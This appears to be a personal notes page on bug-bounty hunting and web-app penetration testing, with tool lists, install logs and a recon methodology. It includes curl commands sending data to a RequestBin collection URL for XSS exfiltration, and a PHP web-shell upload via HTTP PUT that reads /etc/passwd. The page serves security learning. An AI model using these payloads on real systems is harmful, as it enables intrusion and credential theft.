Vladimir's "Single-page applications need better auditing"
Pavitra Shankdhar's "19 Extensions to Turn Google Chrome into Penetration Testing tool"
Firefox-only to find hidden links on pages: SixOrNot, LinkGopher, IPvFoo.
mazen160 / Firefox-Security-Toolkit (install lots of useful extensions)
If you want to grab or examine code from a site, but it's all on one line, process it with: Prettier.
External web site to send data to
For some challenges, mainly XSS, you need an external site the victim will access, and a way for you to pick up the params they sent to that site.
One way to do that is to use RequestBin. Go there in your browser, click on "Create a RequestBin" button, and get an URL with a random token on the end, such as "http://requestbin.fullcontact.com/yvc8t6yv". Have the victim do a GET or POST to that URL, equivalent to:
curl -X POST -d "fizz=buzz" http://requestbin.fullcontact.com/yvc8t6yv
# or
curl -X GET http://requestbin.fullcontact.com/yvc8t6yv\?param1\=5555
Then in browser, go to "http://requestbin.fullcontact.com/yvc8t6yv?inspect" to
see the data that came across.
Similar: Webhook.site
Recording your work
See the Recording Desktop Activity and Recording CLI Activity sections of my Linux page.
Browser add-on "Nimbus", called "Nimbus Screenshot & Screen Video Recorder" on Chrome and "Nimbus Screen Capture: Screenshot, Edit, Annotate" on Firefox.
For Windows: Greenshot.
Managing the project
I want something that will:
- Maintain a list/diagram of apps and services.
- Maintain a list/diagram of servers and networks and IP addresses.
- Maintain a list/diagram of domains and other public services (email, FTP).
- Maintain a list of tests run against everything.
- Maintain a list of vulnerabilities found.
- Maintain a list of vulnerabilities exploited.
- Maintain a list of permissions achieved on apps and services and servers.
- Maintain a list of changes made to the target.
- Produce reports of all of the above.
- Hold attached files such as a saved testing Context from OWASP ZAP.
- Free.
There seem to be a lot of tools for managing N people testing one business.
I want a tool for 1 person testing N businesses/apps.
Refined my thinking a bit, and asked this:
Looking for a test-organizing app for bug-bounty-hunting
I am looking for some "dashboard" app that presents a matrix of combinations: role in app, type of client device, type of client browser, app functional area. Then for each point in the matrix, there are buttons to launch apps such as Burp Suite, OWASP ZAP, Metasploit, nmap. Also buttons to list vulnerabilities found at that point in the matrix.
I would use this to manage my bug-bounty-hunting process. Within each app such as Burp Suite, some operations would be automatic and some manual. But I'm not looking for the test-organizing app to run any of the tests, just to be a dashboard and connect me to the appropriate lower-level apps, probably giving a label such as "normal user, using desktop Firefox, doing login/logout".
Does anything like this exist ? I've looked at a few things, such as OpenVAS. Couldn't get Dradis install to work. Looked at sh00t. I've used Burp Suite and OWASP ZAP and nmap, haven't tried Metasploit yet. Many other apps on my list to install and try.
Does something like Selenium do this ? I don't want to run automated tests, I want to manage the process and point to other tools.
Thanks for any help.
I am looking for some "dashboard" app that presents a matrix of combinations: role in app, type of client device, type of client browser, app functional area. Then for each point in the matrix, there are buttons to launch apps such as Burp Suite, OWASP ZAP, Metasploit, nmap. Also buttons to list vulnerabilities found at that point in the matrix.
I would use this to manage my bug-bounty-hunting process. Within each app such as Burp Suite, some operations would be automatic and some manual. But I'm not looking for the test-organizing app to run any of the tests, just to be a dashboard and connect me to the appropriate lower-level apps, probably giving a label such as "normal user, using desktop Firefox, doing login/logout".
Does anything like this exist ? I've looked at a few things, such as OpenVAS. Couldn't get Dradis install to work. Looked at sh00t. I've used Burp Suite and OWASP ZAP and nmap, haven't tried Metasploit yet. Many other apps on my list to install and try.
Does something like Selenium do this ? I don't want to run automated tests, I want to manage the process and point to other tools.
Thanks for any help.
I don't want to replicate any of the port-mapping or page-tracking or report-generating features of big suites such as Burp or ZAP. I want a dashboard where I can see which areas have been covered and which haven't, and click to launch into the appropriate tool to do testing or to see the existing vuln/exploit/report or to see the relevant app pages and documentation pages.
"test matrix application"
"Test management tool"
"requirements traceability matrix"
But I don't need multi-user, I don't need graphs and reports and data analysis, don't need links to version control, don't need build control, trouble tickets.
Mockup1
Actual so far
- SwiftnessX:
Heitor Gouvea's "How to better organize your notes while hunting for bugs"
ehrishirajsharma / SwiftnessX
- sh00t:
Task manager, to-do checklists, reporting.
pavanw3b / sh00t
Installed sh00t on my Mint 19.1 system:# I already had Python3 and pip installed. cd ~ git clone https://github.com/pavanw3b/sh00t cd sh00t pip install -r requirements.txt # failed with "No matching distribution found for Django==2.0.8" pip install Django # but it installed "Django-1.11.20 pytz-2018.9" pip install -r requirements.txt # failed with "No matching distribution found for Django==2.0.8" pip3 install -r requirements.txt # worked ! python3 manage.py migrate python3 manage.py createsuperuser # create user account; asks for username, email address, password # password must be 8+ chars and not "simple" # to pre-load with content: python3 reset.py # alarming message about resetting everything in database # I said yes
To run sh00t:
The app is organized as a hierarchy of Project - Assessment - Flag - Sh0t (although confusingly the order is shown as P - A - S - F). You can define Project and Assessment as you wish, but a Flag is a test case to be tested, and a Sh0t is a confirmed bug.cd ~/sh00t python3 manage.py runserver # go to browser # go to http://127.0.0.1:8000/ # log in # when finished, kill the sh00t server: ctrl-C
Maybe reasonable definitions would be:- Project: company you're testing + month.
- Assessment: app + methodology
- Flag: test case.
- Sh0t: confirmed bug.
"Project / Assessment / Flag / Sh0t".
"Amazon + Jan 2019 / retail app + OWASP / SQL injection / bug1".
"Amazon + Jan 2019 / associates app + OWASP / SQL injection / bug1".
The "Configuration" is organized as a hierarchy of Methodology Master - Module Master - Case Master - Template.
The definitions seem to be:- Methodology: OWASP or WAHH.
- Module: class of activity (such as "testing error handling")
- Case: strategy (such as "OSINT") and directions on how to do it.
- Template: ???
Start by adding a Project, then adding an Assessment in that Project. You will get to enable a Methodology or various Flags, and now interesting things will appear under Flags / All. But there are no Templates.
Much of the content seems to be vintage 2014 or so, including references to tool names and such.
Submitted three Issues on GitHub, dev responded within a day. - Jira:
Atlassian's Jira
wikipedia's "Jira (software)"
Costs $10/month.
Way too complex for my needs.
- Vulnreport:
salesforce / vulnreport
Malicious.Link's "VulnReport Install"
Has an "organization and users" structure that a solo hunter doesn't need. - Dradis:
Dradis
Dradis on GitHub
Dradis - Installing Dradis on Ubuntu
Haxf4rall's "Dradis Framework - Collaboration and reporting for IT Security teams"
Community edition is free. Plug-ins to import from Qualys, Nexpose, Acunetix, Burp, Nessus, nmap, more.
[Bad] Installed Dradis CE on my Mint 19.1 system 1/2018, mostly using
Dradis - Installing Dradis on Ubuntu:gpg --keyserver hkp://pool.sks-keyservers.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB bash -s stable < <(curl -s https://raw.githubusercontent.com/wayneeseguin/rvm/master/binscripts/rvm-installer) source /home/user1/.rvm/scripts/rvm rvm -v # got 1.29.7 for package in zlib openssl libxslt libxml2; do rvm pkg install $package; done # got several errors about configuration or make failures # script said do "rvm reinstall all --force", but that gave error rvm install 1.29.7 # not found rvm install 1.9.3 # not supported any more rvm install 2.6.0 # worked ruby -v # got "ruby 2.6.0p0 (2018-12-25 revision 66547) [x86_64-linux]" echo "gem: --no-rdoc --no-ri" > ~/.gemrc gem install bundler bundle -v mkdir dradis-git cd dradis-git/ git clone https://github.com/dradis/dradisframework.git server for file in verify reset start; do curl -O https://raw.githubusercontent.com/dradis/meta/master/$file.sh; done chmod +x *.sh cd server/ [Missing command in the web page; stopped and reported it.] [But Support is useless, keeps not answering my questions, says they're working on new guides. Referred me to https://discuss.dradisframework.org/t/how-to-install-dradis-ce-3-on-ubuntu-server-16-04/342 which seems totally different from the steps I'm halfway through.]
[Went back and forth with Support, and finally they said the instructions I used are a 5-year-old deprecated page that they thought no one had access to ! Use a different page: https://discuss.dradisframework.org/t/how-to-install-dradis-ce-3-on-ubuntu-server-16-04/342 ]
[Bad] Installed Dradis CE on my Mint 19.1 system 1/2018, using
agreenbhm's "How-To: Install Dradis-CE 3 on Ubuntu Server 16.04":sudo apt update sudo apt install -y git redis-server ruby ruby-dev gcc make zlib1g-dev libsqlite3-dev libmysqlclient-dev g++ cd /opt sudo git clone https://github.com/dradis/dradis-ce cd /opt/dradis-ce sudo ruby bin/setup # got a couple of "can't find gem bundler" errors, failed # Support said do bundle install --path /opt/dradis-ce # it failed, Gemfile not found, but that dir does contain a Gemfile # and Support sends me to the community forum # (Dradis framework Community forums), # I guess they can't help me # but they kept helping sudo gem install bundler bundle install --path /opt/dradis-ce cd /opt/dradis-ce sudo gem uninstall bundler # but got "bundler not installed" error cd /opt/dradis-ce sudo gem install bundler -v 1.16.4 ruby bin/setup # failed with perms on ~/.bundle sudo chmod 777 ~/.bundle cd /opt/dradis-ce ruby bin/setup # did lots of fetching and installing, then another perm error, more chmod'ing ruby bin/setup # some more fetching and installing, then some kind of database access error
- Faraday:
Gathers info from many different tools, to show visuals and reports and analysis.
Community edition is free, but doesn't include reporting and analysis.
Faraday
infobyte / faraday
Seems to emphasize collaboration, multi-user, manager, CISO.
- AttackForge:
AttackForge
[Have to register to see any info about it.]
Cyber Security Hub
- Serpico:
Mostly a report-template tool ?
SerpicoProject / Serpico
Shellntel's "The Number One Pentesting Tool You're Not Using"
- TestLink:
Test plans, test specifications, links back to requirements.
franciscom / TestLink
- OWASP ZAP:
Bug Tracker extension connects to Bugzilla and GitHub.
Ceos3c's "The different Phases of a Penetration Test"
Luke Rixson's "Hacking how-to's: Developing your process"
Barrow's "How to Organize Your Tools by Pentest Stages"
Occupy4eles's "Use Magic Tree to Organize Your Projects"
OccupyTheWeb's "The Hacker Methodology"
Your own OpSec
You may create new vulnerabilities in the target. You may create a tunnel that violates all of their security policies. You may see trade secret or proprietary or PII data. Your report is confidential, unless and until the client approves release of it. How are you going to protect those things from someone else coming in and trying to exploit/grab them ?
Assume someone smarter than you is trying to get into the same target that you are, and may be targeting YOU, trying to piggyback on you. Is some new plug-in or script or exploit that you grab from somewhere really safe, does what it says it does, can you trust it ? Are your tools updating themselves over unencrypted connections ?
Have you changed default passwords on Kali, the big tools, etc ? Are you using 2FA on your important online accounts ? Are you storing data in encrypted containers, that are open only when you're using them ?
Catalin Cimpanu's "Years-long campaign targets hackers through trojanized hacking tools"
DEF CON 23 - Wesley McGrew - I Hunt Penetration Testers: More Weaknesses in Tools and Procedures (video)
"Be careful what you OSINT with"
My "Computer Security and Privacy" page
Probably a bigger risk is that some ISP or big corp might blacklist you:
Mike Felch article (ignore the title)
Monty Python's "How Not To Be Seen" (video)
The main tools I'll be using for web-app testing (I think)
- Firefox
- OWASP ZAP
- Metasploit
- Something for project management
- Nikto ?
Tools / Methodology
Barrow's "How to Organize Your Tools by Pentest Stages"
Bugcrowd's "Researcher Resources - Tools"
JDow's "Web Application Penetration Testing Cheat Sheet"
"Web Application Penetration Testing Cheat Sheet"
Apriorit's "Web Application Penetration Testing: Minimum Checklist Based on the OWASP Testing Guide"
OWASP Testing Guide v4 Table of Contents
These are loosely organized into the phases where you'd use them. But many tools straddle several phases. And the exact names and definitions of the phases differ from source to source.
The organization I've chosen
[Reconnaissance]
- Start on a target.
- Learn the application: log in as user, do normal things, understand the application.
- Domain/server Discovery: OSINT and DNS work to get lists of domains and servers.
- Port scanning those domains/servers: scanning to verify domains and servers and ports exist.
- Verifying domains/servers/services: scanning to get banner pages etc to show what services are running.
- Site/server Analysis: get software versions and patch levels etc.
- Content Discovery: find files on servers.
- Probe pages/scripts with bad parameters: attack bad input-handling.
- Attack application code and logic: more complicated attacks (XSS, SQLi, etc).
- Remove anything you've installed or modified.
- Report what was done and results.
- Post-Reporting.
- Trying Again Later.
Cautions
Some tools or techniques are forbidden in some bounty-hunting programs, maybe because they generate so much network traffic or tie up the servers or affect real users.
Use a VPN (unless you're doing custom traffic inside a LAN). Some clients may have automatic software that bans IP addresses that produce suspicious traffic, even if you're authorized to do testing. And it may add your IP to a blacklist that many companies use, not just the target. [This begs the question: are you going to get your VPN company blacklisted ?]
Don't just push the "scan" button on some huge framework and hope the right thing happens. Set the scope and configuration for the scanning, know what it's going to be doing.
From "Penetration Testing" by Georgia Weidman:
"Be forewarned: Not all public exploit code does what it claims to do. Some exploit code may destroy the target system or even attack your system instead of the target. You should always be vigilant when running anything you find online and read through the code carefully before trusting it."
"Scanning for vulns" is not the same as "penetration testing". Scanners make mistakes or give false positives. Follow up each hit with manual testing, and make sure you know what is happening, and try to broaden the scope of the problem. Don't just report scanner results and expect a bounty. Clients often have contracted with expensive pentesting companies that produce huge lists of scanner-hits, but then the client finds only 3 of them are worth fixing.
[Reconnaissance]
See "Strategies for choosing a target"
- Start on a target (tactics):
From /u/cym13 on reddit:
The advice with bug bounties is always the same: look for things nobody else thought of in places nobody else thought of.
It is good practice for websites setting up a bug bounty program to first perform a security assessment of the platform, or at the very least launch automatic detection tools.
Furthermore you're in competition with thousands of other researchers, so finding the obvious is not something you should strive for: if it's obvious, someone else will have found it before you. Maybe you'll be the lucky one but that's a game where there's not always a winner and always thousands of losers.
This means your efforts are best spent:- Looking for things not usually found by such detection tools (I'd recommend against XSS on that
part as that's the most basic thing ever; things like CSRF, Oauth misconfig
or SSRF would be better in that regard).
- Looking for websites that just started a bug bounty (to decrease the number of
other researchers having already worked on it).
- Looking for forgotten servers on old and big websites (nobody might notice if Google
sets up a new debug server somewhere, and that's something you can take advantage of).
I wonder about this: suppose you find a bug in some foundational library or product, such as Electron or libssl ? Can you make reports to N companies who all use that dependency, getting $N from each of them ? [I guess you'd have to show POC for each of them, giving specific URLs and demonstrations for each app.] Or do you just report once to the source of the problem, getting one (smaller or zero) payment from that source ?
A variant of this: find a misconfiguration or misuse of some common library or product, and see if N other companies make the same mistake.
zseano's "Turning your time into bugs"
zseano's methodology
Ben Sadeghipour's "Doing recon like a boss" (video)
- Looking for things not usually found by such detection tools (I'd recommend against XSS on that
part as that's the most basic thing ever; things like CSRF, Oauth misconfig
or SSRF would be better in that regard).
- Learn the application:
[Maybe most of this is more applicable to corporate apps, not consumer apps. But apps are getting more complex all the time.]
- RTFM. Read sales literature or watch videos. Is there a demo on the
target's web site ? Can you subscribe to a newsletter ?
- Log in to the app, do normal things, understand the application. Look at the sitemap. Don't just
hit standard things such as login, search, file upload. Explore things that
other bug-hunters may not get to.
- Maybe diagram the flow and reach of the application. What are the
roles, the data, the operations/transactions, the states of the application ?
Make a matrix of roles and permissions ? (See ZAP's "session comparison" feature.)
Alex Wauters' "How to get started with Threat Modeling"
- What is the most valuable information in the application ?
How important is availability/uptime of the application ?
Are some parts critical to regulations such as PCI, HIPAA, GDPR, DFARS, FERPA, COPPA ?
Where is there money, where is there PII ?
If it's a messaging app, the integrity of the messages is a key item, compromising that is severe. Look for similar features that are important to the app, where a logic compromise or something can violate the integrity, instead of having to find some tricky technical flaw. - Is there a privacy policy page ?
Can users control collection of their data, get a copy of their data, delete their data, delete their account ? Do these things work and conform to regulations ? - Are there things where one user could affect another user ?
Such as messaging, creating a new public theme, creating a new store,
offering items for sale, commenting on another user's page ?
- Are there points where a user uploads content (files, notes,
comments, URLs, requests, problem reports, themes) into the application ?
- Are there points where the user is sent to somewhere "else" ? How is that done ?
Look at any place where a path or filename or page name is in an URL parameter.
- Try different roles ("authorizations", or "auth-z"s) in the application, different transactions,
maybe create multiple users, try deep features that may be less-tested,
try unusual features such as password reset, change username, delete account, cancel order.
[The bounty program may impose rules about how to create test users, and what operations are allowed.]
Try desktop and mobile, different human languages, different browsers.
- What are the default or standard accounts and passwords ?
Are there demo or example or admin accounts ? Suppose the installer blindly
followed the examples and defaults in the manual, what accounts and passwords and server names
would be created ? Are there interesting URLs in the PDF documentation of the app ?
- Are there demo or example pages ? Or a complete
example application, that might accidentally been left on the server ?
- Does the application require that users modify their computers,
installing a certificate or app or applet or browser extension,
or naming the web-app's domain in a "trusted" security zone of the browser ?
What behavior do those things have ? Is there messaging between them ? What kind ?
- If the application handles internal corporate users as well as public users,
are the internal users required to use some ancient browser such as IE6 ?
Do they use ActiveX controls ?
- What frameworks and technologies and libraries does the application use ?
Katie Explains: Modern Web Development (video)
Are some scripts loaded dynamically, as in ad-networks ? Ad code is more likely to have vulnerabilities or provide a path to create a vulnerability in the application. - Does the application use old, deprecated technologies, such
as Flash or Silverlight ? PDF documents, while not deprecated, have
their problems.
- How is authentication ("auth-n") done, and persisted ? Are there different
login points, different types of authentication ? Encryption ? Is there
rate-limiting, timeout, lockout ? Rules to enforce strong passwords ?
Can usernames be enumerated somehow ?
- Are there different parts of the application that look
different or are built differently ? Are parts of it "legacy" and
parts of it new ? Are parts of it free and other parts behind
a paywall ? Check how each part is made, and the boundaries between them.
How is authentication done, and passed between them ?
- Are there sub-domains or parts of the application that are
listed as "out of scope" for testing ? Maybe they're neglected or
full of bugs. You might look at them to see if anything in them
might be replicated in the in-scope areas.
- After you've learned the application a bit, go back and re-read the bounty program
rules, which may make more sense now.
Vickie Li's "Out of Scope" - Learn and use "out of scope" parts of the application, but don't
attack them. Understanding them might help you understand the in-scope parts better.
- Is there an issues or to-do list on GitHub or notepad.pw or pastebin.com or somewhere else ?
A forum where users are grousing about problems ?
Same for any of the frameworks or major libraries the app is using.
- Can you install the application locally, on your own machine(s) ?
This will make it much easier and safer to learn it, brute-force it,
create privileged users, dig into internals and source code, examine log files, etc.
Where are the log or audit files ? Is there a master config file ?
(ghostlulz's "Exposed Log and Configuration Files")
Is there a debug mode ? Are there hooks or modes for testing ?
Where and how are credentials stored ? What OS user is the app server code running as ?
How does it update or get patched ? How is it backed up and restored ? How are patches applied ?
Are there cron jobs or daemons ? Can you extract version numbers of
internal modules, packages or libraries ?
Does the app depend on any other services ? Can you install those locally too ?
- If you can get the source code, you could try running static code-analysis tools on it.
And read it.
Will Butler's "How to Find Vulnerabilities in Code: Bad Words"
Vickie Li's "Code Review 101"
Seth & Ken's Excellent Adventures (in Code Review)
wireghoul / graudit
Philippe Arteau's "OWASP Find Security Bugs" (PDF)
But learning the app may give you a big edge over other hunters, and you may be able to test features they can't get to. If the same app is used by other targets, maybe learning it well is worthwhile. What company wrote this app ? Maybe look at other apps they've written.
You could always alternate both styles: take a quick shot at the app, read the manual a bit, take another shot, learn more about the app, do some more poking, etc.
Static code analysis:crazycontini's "Don't Underestimate Grep Based Code Scanning"
"Static Analyzers" section of Janidu Jayasanka's "Penetration Testing & Hacking Tools List for Hackers"
A Bug'z Life's "Bug Hunting Methodology from an Average Bug Hunter"
n00bie's "Web Application Hacking - Analyzing the Application"
- RTFM. Read sales literature or watch videos. Is there a demo on the
target's web site ? Can you subscribe to a newsletter ?
- Domain/server Discovery:
OSINT and DNS work to get lists of domains and servers.
Also see OSINT.
[For testing corporate web apps, probably this whole phase is almost useless. The company's bug-bounty program will define a scope that lists the exact domains to be tested.]
Don't re-invent the wheel, especially when it comes to scanning across the internet. There are a bazillion tools already available. Use Google Search, see Crawler.Ninja, Common Crawl, Shodan, more.
- Maltego:
Maltego CE
Velayutham Selvaraj's "Perform Vulnerability Scanning in Your Network using Maltego"
Installed Maltego 4.2 CE on Linux Mint 19.1 in 3/2019:Downloaded .deb file, installed it, but first run of the app hung about 5/6 of the way through "Starting modules ...".Later, someone said "Mine works with only openjdk-8 installed (version 1.8.0_212)".
Rebooted, tried again, same thing.
Saw a solution online (even though I can see a Java process running in my system). Edit /usr/share/maltego/etc/maltego.conf to add line:
jdkhome="/usr/lib/jvm/default-java"
Did that, rebooted, same problem.
Log files are in: ~/.maltego/v<maltego_version>/var/log/
Latest log file is messages.log, and on my system it's full of severe java.lang.ClassNotFoundException errors.
Edit /usr/share/maltego/etc/maltego.conf to change default_options to:
default_options="-J-Xms32m -J-Xmx256m --laf javax.swing.plaf.metal.MetalLookAndFeel"
Removed it by deleting directory trees and then "apt remove maltego".
Then tried to install it via Mint's Software Manager, but some remnants must be confusing it, just spins forever. - CaseFile:
Junior version of Maltego ?
Paterva's "CaseFile"
KaliTools' "CaseFile"
- Sublist3r:
aboul3la / Sublist3r
Hacking Tutorials' "Discovering subdomains with Sublist3r"
- Recon-ng:
lanmaster53 / recon-ng
OccupyTheWeb's "Reconnaissance with Recon-Ng, Part 1 (Getting Started)"
Subdomain discovery: enumall.py from jhaddix / domain (don't use bruteforce mode)
- MassDNS:
blechschmidt / massdns
Offensive Security by Automation's "Use Massdns"
- CT-Exposer:
chris408 / ct-exposer
Kody's "Uncover Hidden Subdomains to Reveal Internal Services with CT-Exposer"
Lydecker Black's "CT-Exposer - An OSINT Tool That Discovers Sub-Domains By Searching Certificate Transparency Logs"
- SpiderFoot:
SpiderFoot
- Amass:
OWASP / Amass
- SubFinder:
subfinder / subfinder
- Censys web site:
- BinaryEdge web site:
- DNS Trails web site:
- ViewDNS.info / Reverse Whois Lookup web site:
- DNSdumpster web site:
Fox-IT's "Getting in the Zone: dumping Active Directory DNS using adidnsdump"
Adam Todd's "Active Directory for Script Kiddies"
Adam Todd's "More Active Directory for Script Kiddies"
adrecon / ADRecon
ghostlulz's "Certificate Transparency Logs"
- Maltego:
- Port scanning those domains/servers:
Scanning to verify domains and servers and ports exist.
John Anderson's "Still Scanning IP Addresses? You're Doing it Wrong"
[For testing corporate web apps, probably this whole phase is almost useless. The company's bug-bounty program will declare this out of bounds; they don't want their network or servers bombarded, they want you to find application logic or coding errors.]
But even if port-scanning is outlawed, try opening a few ports manually:- 88, 464, 543, 544, 749-754, 760, 1109: Kerberos.
- 118, 156: SQL Service.
- 161: SNMP.
- 389, 636, 3268, 3269: LDAP.
- 396: Novell Netware.
- 445: Microsoft-DS (Active Directory, SMB, more).
- 901: Samba.
- 902, 903, 8222, 8333, 9443: VMWare.
- 1433, 1434: MS SQL Server.
- 1512: MS WINS.
- 1521, 1522, 1525, 1527, 1529, 2483, 2484: Oracle SQL.
- 2049: NFS.
- 2375-2377, 4243, 5000, 7946: Docker.
- 2638: SQL Anywhere.
- 3000: Ruby on Rails development default, and others.
- 3020: CIFS.
- 3306: MySQL.
- 3389: RDP.
- 3702: WS-Discovery.
- 3872, 4444, 5555, 5556, 6201, 7777, 16000, 16225: Oracle Enterprise Manager and other Oracle.
- 4125: Microsoft Remote Web Workplace.
- 4848: Java, Glassfish Application Server administration default.
- 5000: uPNP, Flask, Docker, more.
- 6379: Redis.
- 8000: Django Development Webserver.
- 8009, 8080, 8243, 8280, 8443, 8983, 9006, 9042: Apache various.
- 8082, 8083, 8443, many more: Citrix.
- 8172: MS IIS remote admin.
- 8840: Opera Unite.
- 8880, 9043, 9060, 9080: IBM WebSphere various.
- 9001: Microsoft SharePoint.
- 9200: Elasticsearch.
- 9800: WebDAV.
- 10000: Webmin.
- 10250: Kubelet / Kubernetes.
- 11371: OpenPGP HTTP key server.
- 12201: Graylog.
- 20000: Usermin.
- 24444: NetBeans.
- 27017: MongoDB.
- 33848: Jenkins.
- OWASP-Nettacker:
Does a lot more than just port-scanning.
OWASP-Nettacker
- Nmap:
Start with the Zenmap GUI front-end for it.
Hacker Target's "Nmap Tutorial"
Unixmen's "Scan Your Home Network With Nmap" Distortion's "Top 5 Intrusive Nmap Scripts Hackers & Pentesters Should Know"
DRD_'s "Get Started Writing Your Own NSE Scripts for Nmap"
Tokyo Neon's "Easily Detect CVEs with Nmap Scripts"
Occupy4Eles's "Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!"
Dr. Michael J. Garbade's "How to Footprint Web Applications"
Josh Dando's "Understanding Nmap"
Nmap articles in Hacking Articles' "Penetration Testing"
SecWiki / Nmap
SecWiki / Nmap / External Script Library
"nmap -sS -A -PN -p- --script=http-title thetarget.com": syn scan, OS + service fingerprint, no ping, all ports, http titles.
If you find an open port with an unknown service listening on it, try a banner-grab ("nc IPADDR PORTNUM") or a tool such as fingerprintx or searchsploit. - Masscan:
Kali Tools' "masscan"
- netcat:
Ceos3c's "Scan for Open Ports using Netcat"
Ceos3c's "Check protocol versions with Netcat"
OccupyTheWeb's "How to Use Netcat, the Swiss Army Knife of Hacking Tools"
Alex Long's "Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASH"
Raj Chandel's "Comprehensive Guide on Netcat"
There is a similar, newer tool in the nmap package, called ncat. It doesn't do port-scanning (use nmap for that), but handles SSL, IPv6, and other things that netcat does not.
- curl:
Hacking Articles' "Web Application Penetration Testing with curl"
- hping:
hping
sanspentest's "Web Application Scanning Automation"
See the Port scanning or router testing section of my Testing Your Security and Privacy page.
- Verifying domains/servers/services:
Scanning to get banner pages etc to show what services are running.
- EyeWitness:
"EyeWitness is designed to take screenshots of websites, RDP services, and open VNC servers, provide some server header info, and identify default credentials if possible."
Christopher Truncer's "EyeWitness 2.0 Release and User Guide!"
FortyNorthSecurity / EyeWitness
- WitnessMe:
Similar to EyeWitness.
byt3bl33d3r / WitnessMe
- Have list of URLs in a file, open each one in a new Firefox tab:
xargs -a URLs.txt firefox -new-tab "$line"
- http-screenshot for nmap:
tudorthe1ntruder / nmap-http-screenshot
- AutoBrowser:
AutoBrowser
Lydecker Black's "AutoBrowser 4.0 - AutoBrowser Screenshot of HTTP/s Based Ports"
- p0f:
p0f
- rpcinfo:
- showmount:
- enum4linux:
Shows Samba file/print shares. - JXplorer:
LDAP explorer.
JXplorer
- ldap_search:
m8r0wn / ldap_search
- Gitrob:
Follow from GitHub repository for an application to all of its dependencies and co-authored stuff.
michenriksen / gitrob
Michael Henriksen's "Gitrob: Putting the Open Source in OSINT"
- EyeWitness:
See Chapter 4 "Mapping the Application" in "The Web Application Hacker's Handbook" by Stuttard and Pinto.
- Site/server Analysis:
Run standard tests that you'd run against your own personal web site, to see if the basics are covered. See the "Periodically check your site" section of my "Your Personal Web Site" page.
Get software versions and patch levels etc. Get the site headers / policies (htaccess). Are the security settings tight ?
Also see Web Apps.
- vulnersCom / burp-vulners-scanner:
vulnersCom / burp-vulners-scanner
Do Son's "burp-vulners-scanner: Vulnerability scanner based on vulners.com search API"
Vulners Blog's "2 years of Vulners and new plugin for Burp Scanner"
Runs many of the following tools.
- Get web site headers:
Security Headers (doesn't determine server type)
Qualys SSL Labs' "SSL Server Test"
Do HTTP OPTIONS requests to see what operations are permitted. - Get server information:
ghostlulz's "Apache Server-Status"
- Httprint:
Net Square's "Httprint"
Aldeid's "Httprint"
OccupyTheWeb's "How to Fingerprint Web Servers Using Httprint"
But it failed on every site I tried; maybe my system has too much outgoing traffic stopped in iptables ?
- WhatWeb:
WhatWeb
Can install locally, or run from site WhatWeb.net
- BlindElephant:
BlindElephant Web Application Fingerprinter
- webanalyze:
rverton / webanalyze
- BuiltWith web site:
Reports on technologies/components in a web site / web app.
First 50 queries free, then $295/month ? But "individual site lookups" always are free ?
4/2019 tried to sign up for free account, got empty page.
- Wappalyzer web site:
Reports on technologies/components in a web site / web app.
- FindScript:
Scrape Google and Github to find files related to a given URL.
0x41CoreDump / FindScript
- Retire.js:
Scan a web app or node app for use of vulnerable JavaScript libraries and/or node modules.
Retire.js
ghostlulz's "Vulnerable JavaScript Files"
- is-website-vulnerable:
Scan a web site for use of vulnerable JavaScript libraries.
lirantal / is-website-vulnerable
- Dependency-Check:
Scan app source for publicly disclosed vulnerabilities contained within a project's dependencies.
jeremylong / DependencyCheck
- ua-tester:
UAtester
Ravi Sankar's "Ua-tester - A tool for User Agent WAF, IDS/IPS, Redirection testing"
- davtest:
For use on servers that allow HTTP PUT or have WebDAV enabled.
cldrn / davtest
Basic exploit if HTTP PUT is enabled and PHP is enabled:PUT /test.php HTTP/1.1 Host: IPADDRESS:PORT <
thenGET http://IPADDRESS:PORT/test.php?cmd=whoami
Another:PUT /test.php HTTP/1.1 Host: IPADDRESS:PORT <?php passthru($_GET[‘x’]; ?>
GET http://IPADDRESS:PORT/test.php?x=cat%20%2Fetc%2Fpasswd
Do similar with eval(), exec() or system() instead of passthru().
PHP script fragments can start with <?php, <?, or <%, and end with ?> or %>. A PHP fragment that echoes an expression can start with <?= or <%=.
Hacking Articles' "Multiple Ways to Exploiting PUT Method"
Asfiya Shaikh's "Exploiting Put Method"
- Make a local copy of all web pages to make analysis easier:
HTTrack
wget
Guru99's "How to Hack a Web Server"
Anant Shrivastava's "Web Application finger printing"
David Fletcher's "Finding: Server Supports Weak Transport Layer Security (SSL/TLS)"
- vulnersCom / burp-vulners-scanner:
- Content Discovery:
Find files on servers.
Try various user-agent strings; application may have different files for different clients.
Try logging in as users with various privilege levels; application may have different files for different clients.
- Kiterunner:
assetnote / kiterunner
Assetnote's "Contextual Content Discovery"
- FFUF:
Codingo's "Everything you need to know about FFUF"
Raj Chandel's "Comprehensive Guide on ffuf"
- Gobuster:
OJ / gobuster
Kali Tools' "Gobuster"
- Uniscan:
Kali Tools' "Uniscan"
Seems to be stale: project home
- Look in /robots.txt for stuff that's not supposed to be exposed.
See if the /.htaccess file is accessible; it probably shouldn't be.
Look for /crossdomain.xml and /clientaccess-policy.xml files.
ghostlulz's "Apple App Site Association"
- dirb:
dirb
Ajay Manoharan's "Dirb - A web content scanner"
- DirBuster:
DirBuster
OWASP DirBuster Project (says replaced by OWASP Zed Attack Proxy Project.
Not as fast as dirb ?
Use RAFT lists from danielmeissler / SecLists / Discovery/ Web-Content, danielmeissler / SecLists / Discovery / Web-Content / SVNDigger, more from danielmeissler / SecLists.
Liffy
LFI lists from danielmeissler / SecLists /Fuzzing
- dirhunt:
Nekmo / dirhunt
- waybackurls:
Fetch all the URLs that the Wayback Machine knows about for a domain.
tomnomnom / waybackurls
- tracy:
Find sinks and sources of a web application.
nccgroup / tracy
- LinkFinder:
Find endpoints in online JavaScript files.
GerbenJavado / LinkFinder
- Pureblood:
Straddles several categories.
HackingLoops' "Pureblood - Information Gathering and Security Auditing Tool"
Security Online's "PureBlood v2"
- Wfuzz:
Straddles a couple of categories.
xmendez / wfuzz
int0x33's "Day 61: My Top 5 Web Hacking Tools"
- Kiterunner:
- Probe pages/scripts with bad parameters:
Attack bad input-handling.
Generally, by now (or in earlier phases), you're using a special "intercepting proxy" between you (browser or app) and the network. The proxy supports recording the outgoing requests and the incoming results, and then analyzing them, repeating them, altering them. Some proxies are the one in Burp, OWASP ZAP, Telerik Fiddler.
- parameth:
Brute discover GET and POST parameters.
